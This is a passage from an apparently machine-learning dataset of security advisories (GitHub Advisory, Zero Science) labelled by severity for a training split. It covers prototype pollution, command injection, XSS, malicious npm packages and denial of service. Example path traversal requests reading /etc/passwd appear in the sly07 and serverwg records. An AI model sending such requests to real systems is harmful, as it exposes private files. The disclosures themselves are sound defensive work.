brevity)\n\n```\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00....\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\n```\n\nSince it is masking with 0xFF, approximately 97% of the bytes are converted to zeros. The impact is that each byte in the RNG seed has a 97% chance of being 0 due to incorrect conversion.\n\n## Credit\n\nThis issue was reported to GitHub Security Lab by Ross Wheeler of Axosoft. It was discovered by Axosoft engineer Dan Suceava, who noticed that [keypair](https://github.com/juliangruber/keypair) was regularly generating duplicate RSA keys. GitHub security engineer [@vcsjones (Kevin Jones)](https://github.com/vcsjones) independently investigated the problem and identified the cause and source code location of the bug.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-11", "split": "train"}
-{"id": "365fcb0de2ecc07a9fdb", "text": "Prototype Pollution in phpjs\n\nAll versions of phpjs up to and including 1.3.2 are vulnerable to Prototype Pollution via parse_str. phpjs is no longer maintained and users are advised to use Locutus as a replacement (https://github.com/locutusjs/locutus)", "text_raw": "Prototype Pollution in phpjs\n\n[Severity: CRITICAL]\n\nAll versions of phpjs up to and including 1.3.2 are vulnerable to Prototype Pollution via parse_str. phpjs is no longer maintained and users are advised to use Locutus as a replacement (https://github.com/locutusjs/locutus)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "a936ac8cf28cb93599cd", "text": "Downloads Resources over HTTP in selenium-download\n\nAffected versions of `selenium-download` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-download`.\n\n## Recommendation\n\nUpdate to version 2.0.7 or later.", "text_raw": "Downloads Resources over HTTP in selenium-download\n\n[Severity: HIGH]\n\nAffected versions of `selenium-download` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-download`.\n\n\n## Recommendation\n\nUpdate to version 2.0.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "b8c96eb985a134f340cf", "text": "Arbitrary File Write in iobroker.js-controller\n\nVersions of `iobroker.controller` prior to 2.0.25 are vulnerable to Path Traversal. The package fails to restrict access to folders outside of the intended `/adapter/<adapter-name>` folder, which may allow attackers to include arbitrary files in the system. An attacker would need to be authenticated to perform the attack but the package has authentication disabled by default.\n\n## Recommendation\n\nUpgrade to version 2.0.25 or later.", "text_raw": "Arbitrary File Write in iobroker.js-controller\n\n[Severity: HIGH]\n\nVersions of `iobroker.controller` prior to 2.0.25 are vulnerable to Path Traversal. The package fails to restrict access to folders outside of the intended `/adapter/<adapter-name>` folder, which may allow attackers to include arbitrary files in the system. An attacker would need to be authenticated to perform the attack but the package has authentication disabled by default.\n\n\n## Recommendation\n\nUpgrade to version 2.0.25 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "814cc15cef8b2c07e9db", "text": "Downloads Resources over HTTP in cue-sdk-node\n\nAffected versions of `cue-sdk-node` insecurely download an executable over an unencrypted HTTP connection. \nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cue-sdk-node`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in cue-sdk-node\n\n[Severity: HIGH]\n\nAffected versions of `cue-sdk-node` insecurely download an executable over an unencrypted HTTP connection. \nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cue-sdk-node`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7d3dfda1149e33555fc9", "text": "Improper Restriction of XML External Entity Reference in MPXJ\n\n\"MPXJ through 8.1.3 allows XXE attacks. This affects the GanttProjectReader and PhoenixReader components.\"", "text_raw": "Improper Restriction of XML External Entity Reference in MPXJ\n\n[Severity: CRITICAL]\n\n\"MPXJ through 8.1.3 allows XXE attacks. This affects the GanttProjectReader and PhoenixReader components.\"", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "9f194f8d54a93f7c1407", "text": "Command Injection in umount\n\nAll versions of `umount ` are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `exec` call on the `umount` function . This may allow attackers to execute arbitrary code in the system if the `device` value passed to the function is user-controlled.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in umount\n\n[Severity: CRITICAL]\n\nAll versions of `umount ` are vulnerable to Command Injection. The package fails to sanitize input rules and passes it directly to an `exec` call on the `umount` function . This may allow attackers to execute arbitrary code in the system if the `device` value passed to the function is user-controlled.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "08280bb1b909bd80e039", "text": "Improper Restriction of Recursive Entity References in Apache XMLBeans\n\nThe XML parsers used by XMLBeans up to version 2.6.0 did not set the properties needed to protect the user from malicious XML input. Vulnerabilities include possibilities for XML Entity Expansion attacks. Affects XMLBeans up to and including v2.6.0.", "text_raw": "Improper Restriction of Recursive Entity References in Apache XMLBeans\n\n[Severity: CRITICAL]\n\nThe XML parsers used by XMLBeans up to version 2.6.0 did not set the properties needed to protect the user from malicious XML input. Vulnerabilities include possibilities for XML Entity Expansion attacks. Affects XMLBeans up to and including v2.6.0.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "9262559d73d5d69c197f", "text": "Croogo 2.0.0 Multiple Stored XSS Vulnerabilities", "text_raw": "Croogo 2.0.0 Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-10-12", "split": "train"}
-{"id": "8884c53e5a622c15a532", "text": "Clipboard-based DOM-XSS\n\n### Impact\n\nA self Cross-Site Scripting vulnerability exists in the @github/paste-markdown library. If the clipboard data contains the string `<table>`, a **div** is dynamically created, and the clipboard content is copied into its **innerHTML** property without any sanitization, resulting in improper execution of JavaScript in the browser of the victim (the user who pasted the code). Users directed to copy text from a malicious website and paste it into pages that utilize this library are affected.\n\nThe following @github/paste-markdown code snippet is triggered when the user pastes something and the browser's clipboard data contains an entry whose content-type is **text/HTML**.\n\n```typescript\nfunction generateText(transfer: DataTransfer): string | undefined {\n  if (Array.from(transfer.types).indexOf('text/html') === -1) return\n\nlet html = transfer.getData('text/html')\n  if (!/<table/i.test(html)) return\n\nhtml = html.replace(/<meta.*?>/, '')\n\nconst el = document.createElement('div')\n  el.innerHTML = html\n  const tables = el.querySelectorAll('table')\n\nfor (const table of tables) {\n    if (table.closest('[data-paste-markdown-skip]')) {\n      table.replaceWith(new Text(table.textContent || ''))\n    }\n    const formattedTable = tableMarkdown(table)\n    table.replaceWith(new Text(formattedTable))\n  }\n\nreturn el.innerHTML\n}\n```\n\n### Patches\nA security patch was released in [version 0.3.4](https://github.com/github/paste-markdown/releases/tag/v0.3.4).\n\n### Workarounds\nA Content Security Policy that prevents `unsafe-inline` helps reduce the likelihood of this vulnerability being exploited in modern browsers.\n\n<!--\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n*\n-->", "text_raw": "Clipboard-based DOM-XSS\n\n[Severity: MEDIUM]\n\n### Impact\n\nA self Cross-Site Scripting vulnerability exists in the @github/paste-markdown library. If the clipboard data contains the string `<table>`, a **div** is dynamically created, and the clipboard content is copied into its **innerHTML** property without any sanitization, resulting in improper execution of JavaScript in the browser of the victim (the user who pasted the code). Users directed to copy text from a malicious website and paste it into pages that utilize this library are affected.\n\nThe following @github/paste-markdown code snippet is triggered when the user pastes something and the browser's clipboard data contains an entry whose content-type is **text/HTML**.\n\n```typescript\nfunction generateText(transfer: DataTransfer): string | undefined {\n  if (Array.from(transfer.types).indexOf('text/html') === -1) return\n\n  let html = transfer.getData('text/html')\n  if (!/<table/i.test(html)) return\n\n  html = html.replace(/<meta.*?>/, '')\n\n  const el = document.createElement('div')\n  el.innerHTML = html\n  const tables = el.querySelectorAll('table')\n\n  for (const table of tables) {\n    if (table.closest('[data-paste-markdown-skip]')) {\n      table.replaceWith(new Text(table.textContent || ''))\n    }\n    const formattedTable = tableMarkdown(table)\n    table.replaceWith(new Text(formattedTable))\n  }\n\n  return el.innerHTML\n}\n```\n\n### Patches\nA security patch was released in [version 0.3.4](https://github.com/github/paste-markdown/releases/tag/v0.3.4).\n\n### Workarounds\nA Content Security Policy that prevents `unsafe-inline` helps reduce the likelihood of this vulnerability being exploited in modern browsers.\n\n<!--\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n*\n-->\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-12", "split": "train"}
-{"id": "20ef04f58447fe503c30", "text": "Directory Traversal in sly07\n\nAffected versions of `sly07` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in sly07\n\n[Severity: HIGH]\n\nAffected versions of `sly07` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "7ac45f2b8c218a876528", "text": "Cross-site scripting in Apache JSPWiki\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the Page Revision History, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "text_raw": "Cross-site scripting in Apache JSPWiki\n\n[Severity: MEDIUM]\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the Page Revision History, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "74ec8b6d02775349efef", "text": "Exposure of Resource to Wrong Sphere in LibreNMS\n\nAn issue was discovered in LibreNMS before 1.65.1. It has insufficient access control for normal users because of \"'guard' => 'admin'\" instead of \"'middleware' => ['can:admin']\" in routes/web.php.", "text_raw": "Exposure of Resource to Wrong Sphere in LibreNMS\n\n[Severity: HIGH]\n\nAn issue was discovered in LibreNMS before 1.65.1. It has insufficient access control for normal users because of \"'guard' => 'admin'\" instead of \"'middleware' => ['can:admin']\" in routes/web.php.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "7cf3a741af356b30893d", "text": "Help & Manual Professional Edition 5.5.1 (ijl15.dll) DLL Hijacking Exploit", "text_raw": "Help & Manual Professional Edition 5.5.1 (ijl15.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-04-14", "split": "train"}
-{"id": "c653112f829033496b0f", "text": "Excessive Iteration in Compress\n\nWhen reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package.", "text_raw": "Excessive Iteration in Compress\n\n[Severity: HIGH]\n\nWhen reading a specially crafted 7Z archive, the construction of the list of codecs that decompress an entry can result in an infinite loop. This could be used to mount a denial of service attack against services that use Compress' sevenz package.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "5fd254e1769f29a08870", "text": "Improper Handling of Missing Values in kaml\n\n### Impact\nAttackers that could provide arbitrary YAML input to an application that uses kaml could cause the application to endlessly loop while parsing the input. This could result in resource starvation and denial of service.\n\nThis only affects applications that use polymorphic serialization with the default tagged polymorphism style. Applications using the property polymorphism style are not affected.\n\nYAML input for a polymorphic type that provided a tag but no value for the object would trigger the issue, for example:\n\n```yaml\n!<x>\n```\n\nThe following is a sample application that demonstrates this issue:\n\n```kotlin\nimport com.charleskorn.kaml.Yaml\nimport kotlinx.serialization.SerialName\nimport kotlinx.serialization.Serializable\n\n@Serializable\nprivate sealed class K {\n    @Serializable\n    @SerialName(\"x\")\n    data class X(\n        val property: String? = null,\n    ) : K()\n}\n\nconst val s = \"\"\"\n!<x>\n\"\"\"\n\nfun main() {\n    println(\"Started.\")\n    val result = Yaml.default.decodeFromString(K.serializer(), s)\n    println(\"Finished, result is $result\")\n}\n```\n\nOn vulnerable versions of kaml, the `decodeFromString()` operation hangs and never returns.\n\n### Patches\nVersion 0.35.3 or later contain the fix for this issue.", "text_raw": "Improper Handling of Missing Values in kaml\n\n[Severity: MEDIUM]\n\n### Impact\nAttackers that could provide arbitrary YAML input to an application that uses kaml could cause the application to endlessly loop while parsing the input. This could result in resource starvation and denial of service. \n\nThis only affects applications that use polymorphic serialization with the default tagged polymorphism style. Applications using the property polymorphism style are not affected.\n\nYAML input for a polymorphic type that provided a tag but no value for the object would trigger the issue, for example:\n\n```yaml\n!<x>\n```\n\nThe following is a sample application that demonstrates this issue:\n\n```kotlin\nimport com.charleskorn.kaml.Yaml\nimport kotlinx.serialization.SerialName\nimport kotlinx.serialization.Serializable\n\n@Serializable\nprivate sealed class K {\n    @Serializable\n    @SerialName(\"x\")\n    data class X(\n        val property: String? = null,\n    ) : K()\n}\n\nconst val s = \"\"\"\n!<x>\n\"\"\"\n\nfun main() {\n    println(\"Started.\")\n    val result = Yaml.default.decodeFromString(K.serializer(), s)\n    println(\"Finished, result is $result\")\n}\n```\n\nOn vulnerable versions of kaml, the `decodeFromString()` operation hangs and never returns. \n\n\n### Patches\nVersion 0.35.3 or later contain the fix for this issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "e3269234bfb73ef8fa83", "text": "Action Commands (run/shell/exec) Against Library URIs Ignore Configured Remote Endpoint\n\n### Impact\n\nDue to incorrect use of a default URL, `singularity` action commands (`run`/`shell`/`exec`) specifying a container using a `library://` URI will always attempt to retrieve the container from the default remote endpoint (`cloud.sylabs.io`) rather than the configured remote endpoint.\n\nAn attacker may be able to push a malicious container to the default remote endpoint with a URI that is identical to the URI used by a victim with a non-default remote endpoint, thus executing the malicious container.\n\nOnly action commands (`run`/`shell`/`exec`) against `library://` URIs are affected. Other commands such as `pull` / `push` respect the configured remote endpoint.\n\n### Patches\n\nAll users should upgrade to Singularity 3.7.4 or later.\n\nA patch was applied at: https://github.com/sylabs/singularity/commit/d52ae9d13979733c5e987a566fae59ed6f1bf796\n\n### Workarounds\n\nUsers who only interact with the default remote endpoint are not affected.\n\nInstallations with an execution control list configured to restrict execution to containers signed with specific secure keys are not affected.\n\n### For more information\n\nGeneral questions about the impact of the advisory can be asked in the:\n\n- [SingularityCE Slack Channel](https://singularityce.slack.com)\n- [SingularityCE Mailing List](https://groups.google.com/g/singularity-ce)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "text_raw": "Action Commands (run/shell/exec) Against Library URIs Ignore Configured Remote Endpoint\n\n[Severity: MEDIUM]\n\n### Impact\n\nDue to incorrect use of a default URL, `singularity` action commands (`run`/`shell`/`exec`) specifying a container using a `library://` URI will always attempt to retrieve the container from the default remote endpoint (`cloud.sylabs.io`) rather than the configured remote endpoint.\n\nAn attacker may be able to push a malicious container to the default remote endpoint with a URI that is identical to the URI used by a victim with a non-default remote endpoint, thus executing the malicious container.\n\nOnly action commands (`run`/`shell`/`exec`) against `library://` URIs are affected. Other commands such as `pull` / `push` respect the configured remote endpoint.\n\n### Patches\n\nAll users should upgrade to Singularity 3.7.4 or later.\n\nA patch was applied at: https://github.com/sylabs/singularity/commit/d52ae9d13979733c5e987a566fae59ed6f1bf796\n\n### Workarounds\n\nUsers who only interact with the default remote endpoint are not affected.\n\nInstallations with an execution control list configured to restrict execution to containers signed with specific secure keys are not affected.\n\n### For more information\n\nGeneral questions about the impact of the advisory can be asked in the:\n\n- [SingularityCE Slack Channel](https://singularityce.slack.com)\n- [SingularityCE Mailing List](https://groups.google.com/g/singularity-ce)\n\nAny sensitive security concerns should be directed to: security@sylabs.io\n\nSee our Security Policy here: https://sylabs.io/security-policy", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "904e1615f4bb163a8be0", "text": "Manx cms.xml 1.0.1 (ajax_get_file_listing.php) Multiple XSS Vulnerabilities", "text_raw": "Manx cms.xml 1.0.1 (ajax_get_file_listing.php) Multiple XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-11-28", "split": "train"}
-{"id": "638218bd18781bd4da51", "text": "Improper Input Validation in network-manager\n\nnetwork-manager through 1.0.2 allows remote attackers to execute arbitrary commands via the \"execSync()\" argument.", "text_raw": "Improper Input Validation in network-manager\n\n[Severity: CRITICAL]\n\nnetwork-manager through 1.0.2 allows remote attackers to execute arbitrary commands via the \"execSync()\" argument.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "1d588993d27d9d8ba9e5", "text": "OS Command Injection in pomelo-monitor\n\npomelo-monitor through 0.3.7 is vulnerable to Command Injection.It allows injection of arbitrary commands as part of 'pomelo-monitor' params.", "text_raw": "OS Command Injection in pomelo-monitor\n\n[Severity: CRITICAL]\n\npomelo-monitor through 0.3.7 is vulnerable to Command Injection.It allows injection of arbitrary commands as part of 'pomelo-monitor' params.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "ea1df85b53e000d959a3", "text": "Directory Traversal in serverwg\n\n`serverwg` is a simple http server.\n\n`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\nand response:\n```\nHTTP/1.1 200 OK\nDate: Wed, 17 May 2017 22:52:08 GMT\nConnection: keep-alive\n\n{contents of /etc/passwd}\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverwg\n\n[Severity: HIGH]\n\n`serverwg` is a simple http server.\n\n`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\nand response:\n```\nHTTP/1.1 200 OK\nDate: Wed, 17 May 2017 22:52:08 GMT\nConnection: keep-alive\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "5e77dfc48bcfd44ed988", "text": "rack-protection gem timing attack vulnerability when validating CSRF token\n\nSinatra rack-protection versions 1.5.4 and 2.0.0.rc3 and earlier contains a timing attack vulnerability in the CSRF token checking that can result in signatures can be exposed. This attack appear to be exploitable via network connectivity to the ruby application. This vulnerability appears to have been fixed in 1.5.5 and 2.0.0.", "text_raw": "rack-protection gem timing attack vulnerability when validating CSRF token\n\n[Severity: MEDIUM]\n\nSinatra rack-protection versions 1.5.4 and 2.0.0.rc3 and earlier contains a timing attack vulnerability in the CSRF token checking that can result in signatures can be exposed. This attack appear to be exploitable via network connectivity to the ruby application. This vulnerability appears to have been fixed in 1.5.5 and 2.0.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-03-07", "split": "train"}
-{"id": "e6c7ad0990770d1aeb5f", "text": "Denial of Service in i18n\n\nThis affects the package i18n before version 2.1.15. Vulnerability arises out of insufficient handling of erroneous language tags in src/i18n/Concrete/TextLocalizer.cs and src/i18n/LocalizedApplication.cs.", "text_raw": "Denial of Service in i18n\n\n[Severity: HIGH]\n\nThis affects the package i18n before version 2.1.15. Vulnerability arises out of insufficient handling of erroneous language tags in src/i18n/Concrete/TextLocalizer.cs and src/i18n/LocalizedApplication.cs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-14", "split": "train"}
-{"id": "f0a65e638a8582b15cd7", "text": "/user/sessions endpoint allows detecting valid accounts\n\nThis Security Advisory is about a vulnerability in eZ Platform v1.13, v2.5, and v3.2, and in Ibexa DXP and Ibexa Open Source v3.3. The /user/sessions endpoint can let an attacker detect if a given username or email refers to a valid account. This can be detected through differences in the response data or response time of certain requests. The fix ensures neither attack is possible. The fix is distributed via Composer.\n\nIf you come across a security issue in our products, here is how you can report it to us: https://doc.ibexa.co/en/latest/guide/reporting_issues/#toc", "text_raw": "/user/sessions endpoint allows detecting valid accounts\n\n[Severity: MEDIUM]\n\nThis Security Advisory is about a vulnerability in eZ Platform v1.13, v2.5, and v3.2, and in Ibexa DXP and Ibexa Open Source v3.3. The /user/sessions endpoint can let an attacker detect if a given username or email refers to a valid account. This can be detected through differences in the response data or response time of certain requests. The fix ensures neither attack is possible. The fix is distributed via Composer.\n\nIf you come across a security issue in our products, here is how you can report it to us: https://doc.ibexa.co/en/latest/guide/reporting_issues/#toc", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-11", "split": "train"}
-{"id": "16016df5c732e30a2965", "text": "IPUX CL5452/CL5132 IP Camera (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow", "text_raw": "IPUX CL5452/CL5132 IP Camera (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-12-02", "split": "train"}
-{"id": "461444215c13bf092a96", "text": "Malicious Package in mx-nested-menu\n\nVersion 0.1.30 of `mx-nested-menu` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.29", "text_raw": "Malicious Package in mx-nested-menu\n\n[Severity: CRITICAL]\n\nVersion 0.1.30 of `mx-nested-menu` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.29", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b4974d09c493005e098e", "text": "Malicious npm package: an0n-chat-lib\n\nThe npm `an0n-chat-lib` package has been identified as malicious and removed from the npm package registry.\n\n## Remediation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious npm package: an0n-chat-lib\n\n[Severity: CRITICAL]\n\nThe npm `an0n-chat-lib` package has been identified as malicious and removed from the npm package registry.\n\n## Remediation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "24ff6ec8125bd7f0e59b", "text": "Potential session hijack in Apache CXF\n\nApache CXF before 3.3.4 and 3.2.11 provides all of the components that are required to build a fully fledged OpenId Connect service. There is a vulnerability in the access token services, where it does not validate that the authenticated principal is equal to that of the supplied clientId parameter in the request. If a malicious client was able to somehow steal an authorization code issued to another client, then they could exploit this vulnerability to obtain an access token for the other client.", "text_raw": "Potential session hijack in Apache CXF \n\n[Severity: CRITICAL]\n\nApache CXF before 3.3.4 and 3.2.11 provides all of the components that are required to build a fully fledged OpenId Connect service. There is a vulnerability in the access token services, where it does not validate that the authenticated principal is equal to that of the supplied clientId parameter in the request. If a malicious client was able to somehow steal an authorization code issued to another client, then they could exploit this vulnerability to obtain an access token for the other client.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "4dab4c74f87c5cd91cba", "text": "Deserialization of Untrusted Data in FasterXML jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.9.1 might allow attackers to have a variety of impacts by leveraging failure to block the logback-core class from polymorphic deserialization. Depending on the classpath content, remote code execution may be possible.", "text_raw": "Deserialization of Untrusted Data in FasterXML jackson-databind\n\n[Severity: MEDIUM]\n\nFasterXML jackson-databind 2.x before 2.9.9.1 might allow attackers to have a variety of impacts by leveraging failure to block the logback-core class from polymorphic deserialization. Depending on the classpath content, remote code execution may be possible.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "156ca02178753aaafbb1", "text": "FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery", "text_raw": "FaceSentry Access Control System 6.4.8 Cross-Site Request Forgery\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-06-30", "split": "train"}
-{"id": "3d574ed5c9290bf49627", "text": "Segfault in Tensorflow\n\n### Impact\nThe [`tf.raw_ops.Switch`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/Switch) operation takes as input a tensor and a boolean and outputs two tensors. Depending on the boolean value, one of the tensors is exactly the input tensor whereas the other one should be an empty tensor.\n\nHowever, the eager runtime traverses all tensors in the output:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/common_runtime/eager/kernel_and_device.cc#L308-L313\n\nSince only one of the tensors is defined, the other one is `nullptr`, hence we are binding a reference to `nullptr`. This is undefined behavior and reported as an error if compiling with `-fsanitize=null`. In this case, this results in a segmentation fault\n\n### Patches\nWe have patched the issue in da8558533d925694483d2c136a9220d6d49d843c and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Segfault in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe [`tf.raw_ops.Switch`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/Switch) operation takes as input a tensor and a boolean and outputs two tensors. Depending on the boolean value, one of the tensors is exactly the input tensor whereas the other one should be an empty tensor.\n\nHowever, the eager runtime traverses all tensors in the output:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/common_runtime/eager/kernel_and_device.cc#L308-L313\n\nSince only one of the tensors is defined, the other one is `nullptr`, hence we are binding a reference to `nullptr`. This is undefined behavior and reported as an error if compiling with `-fsanitize=null`. In this case, this results in a segmentation fault\n\n### Patches\nWe have patched the issue in da8558533d925694483d2c136a9220d6d49d843c and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more 